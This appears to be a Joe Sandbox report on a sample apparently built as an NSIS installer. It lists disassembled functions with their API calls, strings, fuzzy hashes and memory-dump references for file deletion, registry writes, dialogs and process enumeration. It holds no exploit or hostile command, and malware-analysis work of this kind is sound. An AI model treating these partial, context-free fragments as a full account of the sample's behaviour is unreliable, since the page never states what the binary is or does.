Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
82D, xrefs: 004046DB
@%F, xrefs: 00404674
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Module32NextW, xrefs: 004065DE
Process32FirstW, xrefs: 004065BD
EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464
Process32NextW, xrefs: 004065C8
EnumProcesses, xrefs: 00406482
Module32FirstW, xrefs: 004065D3
CreateToolhelp32Snapshot, xrefs: 004065B5
Kernel32.DLL, xrefs: 0040659B
Unknown, xrefs: 004064FC
GetModuleBaseNameW, xrefs: 00406494

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
open, xrefs: 004042DF
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

